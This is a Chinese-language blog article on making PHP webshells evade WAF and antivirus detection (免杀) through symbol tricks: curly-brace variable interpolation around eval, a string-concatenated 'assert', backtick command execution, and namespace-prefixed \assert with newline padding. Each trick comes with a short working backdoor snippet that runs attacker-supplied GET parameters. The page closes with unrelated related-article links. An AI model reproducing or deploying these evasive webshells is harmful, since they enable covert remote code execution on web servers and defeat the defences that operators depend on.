webshell免杀中符号的妙用

简介: webshell免杀中符号的妙用

前言


提到webshell免杀,方法无外乎对静态特征的变形,编码,或利用语言特性绕过。计算机中有很多符号,它们在编程语言中占据一席之地,这些符号作为运算符号,标识符号或起到特殊含义。本文以PHP为例介绍一些利用符号免杀方法。

免杀


WAF检测


通过对安全狗、护卫神、D盾等常见软WAF的测试,发现WAF查杀主要依赖两种检测方法1.静态检测:通过匹配特征来查找webshell。如危险函数,文件特征码等。2.语法语义检测:通过对语法语义的分析,通过对代码抽丝剥茧实现对危险函数捕捉,例如: 危险函数(可控参数)


括号


圆括号: 在编程中,主要用在表达式、函数参数、指针定义等方面

方括号:一般用于定义数组

花括号: 定义变量处理,字符串变量后面有{ }相当于数组、规定作用域

在变量间接引用中进行定界,避免歧义。例如 ${$my_var[8]}与${$my_var}[8]的区分


${xxx} 括起来的要当成变量处理。

$a{4} 和中括号[]一样都是把某个字符串变量当成数组处理

利用花括号的特性,在双引号对声明变量,并利用圆括号干扰waf对语法的检测

<?php
$_=$_GET['pass'];
$white = "(${eval($_)})";


引号


单引号:被单引号包裹的特殊字符将无意义,内容将作为字符串。

双引号:与单引号类似,但被包裹中的特殊符号将会解析,例如 $ 符号

反引号:执行运算符,在多数语言中可进行执行命令。php中(执行运算符)与shell_exec函数等同

在php语言的特性中,双引号内的变量会被解析。这时$b的值为 assert,可利用php的此特性进行拼接字符或是绕过语法。

$a="s"."e"."r";
$b="as$a".'t';


利用执行运算符执行命令,避免了检测危险函数实现免杀。

function fun($p){  echo `$p`; }
$a=$_GET['x'];
fun($a);

斜线


反斜线:反斜线一般是起到转义字符作用。例如

\"   双引号 "

\\   反斜线 \

\n   换行  

\r   送出

\t   跳位(TAB)

\\$ 表示 $

反斜线 在php中还有一种用法,就是命名空间函数前加“\”反斜线调用命名空间下的函数,如果单独使用,就是调用根命名空间

利用用命名空间干扰函数的特征,\n来干扰对语法的检测


 <?php
$a = $_GET['a'];
$b = "\n";
\assert($b.=$a);
?>


引申


那么是否还有其它符号可以免杀?下面以php为例再介绍几种符号:

^ :(xor)异或运算符

~ :(not)取反运算符

++ :递增运算符

-- :递减运算符


总结


上文简单介绍了一些符号在免杀中的用法,只要摸透了WAF的脾气(查杀原理),绕过的方法也就层出不穷。


相关文章
|
IDE Java 程序员
IDEA创建maven项目过慢,一直卡在resolving dependencies...的解决办法
作为一个从事 Java 开发的程序员,每天离不开ide的帮助。一开始学习java的时候基本都是使用eclipse进行开发, 后来接触了idea,发现是真的香,比eclipse好用太多了,能够大大提升开发的效率。
5803 0
IDEA创建maven项目过慢,一直卡在resolving dependencies...的解决办法
|
3月前
|
监控 Ubuntu Linux
Linux网络FTP故障排除(手把手教你解决常见FTP连接问题)
教程来源https://www.vps5.cn/本教程详解Linux下FTP服务器常见问题的排查与解决方法,涵盖服务启动、防火墙配置、vsftpd设置、被动模式端口调整及日志分析,帮助用户快速定位并解决连接失败、登录错误等问题,适合初学者系统掌握Linux FTP故障排除技巧。
|
2月前
|
存储 弹性计算 人工智能
阿里云服务器多少钱一年?2026年新老用户价格表出炉!
2026年阿里云服务器价格全面优化:轻量服务器低至38元/年,ECS经济型e实例99元/年,“99计划”新老同价;GPU服务器享7.6折及算力补贴。涵盖入门、企业级与AI场景,附秒杀指南、选型建议与优惠叠加策略。
592 6
|
2月前
|
数据采集 人工智能 搜索推荐
大模型入门指南:从看懂原理到动手微调,一步步打造你的专属AI
本文深入浅出地讲解大模型核心技术:从Token、Embedding到上下文窗口,揭秘AI如何理解语言;通过提示词工程、RAG与微调,教你打造专属智能助手。零基础也能学会,让AI真正为你所用,开启个性化智能时代。
530 1
|
7月前
|
存储 监控 数据可视化
Java 大视界 -- 基于 Java 的大数据可视化在企业生产运营监控与决策支持中的应用(228)
本文探讨了基于 Java 的大数据可视化技术在企业生产运营监控与决策支持中的关键应用。面对数据爆炸、信息孤岛和实时性不足等挑战,Java 通过高效数据采集、清洗与可视化引擎,助力企业构建实时监控与智能决策系统,显著提升运营效率与竞争力。
|
3月前
|
自然语言处理 关系型数据库 MySQL
MySQL 全文索引
MySQL全文索引支持对CHAR、VARCHAR、TEXT字段进行高效文本搜索,适用于文章、评论等长文本。通过MATCH()与AGAINST()实现自然语言或布尔模式查询,支持分词、停用词过滤和最小词长设置。可创建于建表时或后期添加,适用于搜索引擎、CMS、电商等场景,提升关键词检索效率,但需权衡增删改开销与索引维护成本。(238字)
|
4月前
|
人工智能 运维 Cloud Native
【提示词工程】从战略到执行的断层怎么填?AI辅助OKR制定实战指南
针对技术团队"瞎忙不增长"的痛点,解析OKR在战略对齐中的核心价值。提供一套经过验证的AI指令,帮助管理者将模糊愿景拆解为可量化、有挑战的关键结果,实现从"任务导向"到"价值导向"的转型。
378 10
|
9月前
|
数据采集 机器学习/深度学习 数据可视化
让回归模型不再被异常值"带跑偏",MSE和Cauchy损失函数在噪声数据环境下的实战对比
本文探讨了MSE与Cauchy损失函数在线性回归中的表现,特别是在含噪声数据环境下的差异。研究发现,MSE虽具良好数学性质,但对异常值敏感;而Cauchy通过其对数惩罚机制降低异常值影响,展现出更强稳定性。实验结果表明,Cauchy损失函数在处理含噪声数据时参数估计更接近真实值,为实际应用提供了更鲁棒的选择。
353 1
让回归模型不再被异常值"带跑偏",MSE和Cauchy损失函数在噪声数据环境下的实战对比
|
9月前
|
存储 算法 固态存储
机械硬盘格式化就不能恢复吗?
今天我们就来聊聊——机械硬盘格式化后到底还能不能恢复数据?恢复的可能性有多大?应该怎么做才是正确的?
|
算法 Linux C++
C++框架设计中实现可扩展性的方法
在软件开发中,可扩展性至关重要,尤其对于C++这样的静态类型语言。本文探讨了在C++框架设计中实现可扩展性的方法:1) 模块化设计降低耦合;2) 使用继承和接口实现功能扩展;3) 通过插件机制动态添加功能;4) 利用模板和泛型提升代码复用;5) 遵循设计原则和最佳实践;6) 应用配置和策略模式以改变运行时行为;7) 使用工厂和抽象工厂模式创建可扩展的对象;8) 实现依赖注入增强灵活性。这些策略有助于构建适应变化、易于维护的C++框架。
1000 2

热门文章

最新文章